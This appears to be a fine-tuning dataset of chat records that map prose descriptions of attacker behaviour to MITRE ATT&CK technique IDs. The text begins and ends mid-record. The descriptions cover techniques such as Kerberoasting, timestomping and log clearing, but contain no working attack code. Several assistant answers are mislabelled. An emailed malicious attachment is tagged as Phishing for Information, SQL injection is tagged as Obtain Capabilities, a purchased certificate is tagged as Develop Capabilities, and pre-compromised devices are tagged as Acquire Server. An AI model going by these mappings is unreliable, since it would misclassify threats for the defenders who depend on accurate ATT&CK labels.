                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script adds a cron entry that calls a malicious binary with sudo privileges every 5 minutes."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs 'net group /domain' to list all domain groups and their members."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware compresses stolen files and then encodes them using a custom Base91 algorithm before sending them to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a sophisticated supply‑chain attack, the adversary injects malicious firmware that rewrites the device's stored admin password hash, effectively altering the authentication process on the device."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify the operating system's kernel image by injecting malicious code into a system update package."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads the system's location settings to determine the workstation's placement within the organization."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used PowerShell's Get-ADComputer cmdlet to retrieve a list of domain-joined hosts for further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in an Office document triggers the execution of a PowerShell command to disable security tools."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to evade detection, the adversary reset the 'last write' times of infected files to match the timestamps of known good files."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker emails a malicious .docx file pretending to be an invoice, which runs a PowerShell script when opened."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set wipes out its own services and scheduled jobs to eliminate indicators."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the adversary escalates privileges by altering the permissions of the sudoers file using `chmod 440` to grant themselves sudo rights."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group purchases reports from cybersecurity vendors that list known exploits relevant to the target’s infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised credential was used to call the Azure Resource Graph to enumerate all resources across subscriptions."
            },
            {
                "role": "assistant",
                "content": "T1580 - Cloud Infrastructure Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom C# program, the adversary calls the LsaEnumerateAccountRights function to enumerate password policy details."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker tries to evade detection by using code obfuscation techniques, what is the relevant MITRE ATT&CK ID and Name?"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the msiexec.exe binary, the intrusion team launches their payloads, using it as a trusted execution proxy to bypass defenses."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a vulnerable XML parser, the adversary supplied an XSLT payload that executed a reverse shell command on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host is turned into a rogue Active Directory controller to exfiltrate credential data."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed a valid GCP service account token obtained from a compromised CI/CD pipeline."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor creates a launch daemon that runs a hidden Docker container launching additional malicious services."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor Base64‑encodes exfiltrated documents before uploading them to a cloud storage bucket to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware employs dynamic API resolution by hashing function names and looking them up in memory, concealing its use of the Windows API."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The PubPrn proxy execution is employed to silently launch a backdoor script on the victim's computer through the Print Spooler service."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Outlook startup registry key to point the Home Page to a malicious web page that loads a malicious Office document."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a vulnerable PHP script on a shared hosting server to execute arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employed process injection by mapping a malicious DLL into the address space of explorer.exe."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conducting network reconnaissance using TCP SYN scans to identify open ports and services."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Word document extracts a hidden payload that was steganographically embedded in an embedded image."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries performed a service DLL hijacking by replacing the executable path of a critical system service with a malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary injects malicious code into a DLL that is commonly loaded by many applications on the system, causing those apps to execute the attacker's payload."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a server, the malware stages configuration files in a hidden local folder for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a known CVE in the Apache HTTP Server, the attacker achieved remote code execution through the public web interface."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages dynamic DNS updates to hide the location of malicious infrastructure using Fast Flux."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a script that saved an executable payload with a .txt suffix to bypass security filters."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious redirect chain leads users from a compromised domain to a harmful site that automatically installs a backdoor upon page load."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaced the domain controller's Netlogon.dll to intercept authentication requests."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through SSH credential theft, the intruder attaches to a live SSH session and continues the authenticated connection."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries perform automated searches of CDN caches to discover exposed API keys and credentials."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During credential capture, the adversary applies a reversible encryption routine to the captured secrets, storing them in a hidden database for later decryption."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign redirects victims to a fake software download page that, upon loading, initiates a drive‑by download of a credential‑dumping tool, targeting users seeking the advertised software."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leveraged a known SQL injection flaw in a public-facing database to exfiltrate data and plant a data‑exfiltration script."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a man‑in‑the‑middle proxy, the attacker injects malicious advertisements into HTTP traffic for users on a public Wi‑Fi."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan queries the registry to locate user shell folders, such as Desktop and Documents."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the cryptographic module to generate RSA keys of 512 bits instead of 2048 bits, weakening the key space."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the PowerShell Invoke-Kerberoast script to harvest service account hashes for later ticket forging."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor accessed unsecured Group Policy Preference files and extracted embedded credentials to gain lateral movement within the network."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pre-compromised physical devices used as an attack vector"
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged an encrypted TLS tunnel over DNS queries to silently exfiltrate stolen files without using the standard command and control channel."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hijacking the DHCP server, the attacker forced clients to use a malicious DNS server under their control."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary abuses a cloud-hosted Kubernetes cluster that is integrated with the on‑premises network, sending malicious payloads through the cluster to reach internal hosts."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool runs the PowerShell cmdlet Get-ADGroupMember to list users in high-privilege groups."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerability to generate excessive interrupt requests, saturating the OS and causing a freeze."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor gains access to the internal Git server via a compromised VPN and clones multiple repositories to a remote host."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a malicious Word template with an AutoOpen macro that registers an add‑in for persistent execution."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary extracts the Kerberos service account credentials and crafts a Golden Ticket, allowing unrestricted access within the enterprise network."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload includes a large block of random data at the end of the executable to hide its true behavior."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes inter‑process signals (e.g., SIGUSR1) to trigger execution of a secondary malicious module."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Regsvr32 was used to register a malicious .dll with the /n flag, which then invoked a payload via the DllRegisterServer entry point."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts a Windows shortcut (LNK) with a decoy icon and a payload that executes when the shortcut is opened."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages the Windows Screensaver setting via WMI to execute a hidden script whenever the display idle timer reaches the configured threshold."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies the boot configuration data to block access to recovery mode."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker hijacks the SIP service to approve malicious code as trusted, bypassing signature checks."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script leverages the \"Clear-EventLog\" cmdlet to purge multiple Windows logs."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set used a wget command to retrieve a file‑less loader from a malicious URL, installing it on the compromised server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivered a script saved as \"calc.exe \" with an extra space, tricking the system into misclassifying it as the Calculator app."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised Android app requests the ACCESS_WIFI_STATE permission and calls getScanResults() to gather details of surrounding Wi‑Fi networks."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi‑Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used PowerShell to turn off the Windows Defender Firewall, leaving the system unprotected."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious link is shared via a phishing campaign on a professional networking site; the link directs victims to a site that exploits the browser to run a malicious binary."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor used \"docker compose up\" with altered configuration files to spin up additional containers under their control."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged the Windows Management Instrumentation (WMI) to execute code via a shared DLL placed in the system32 directory."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised web server is leveraged as an HTTP proxy to relay malicious requests to internal resources."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan injects a DLL into explorer.exe to intercept clipboard and keyboard events in the GUI."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers purchase a fraudulently issued digital certificate from an underground vendor to legitimize their payloads."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group extracts files from a compromised SharePoint site and stages them on a local drive before transferring them out."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
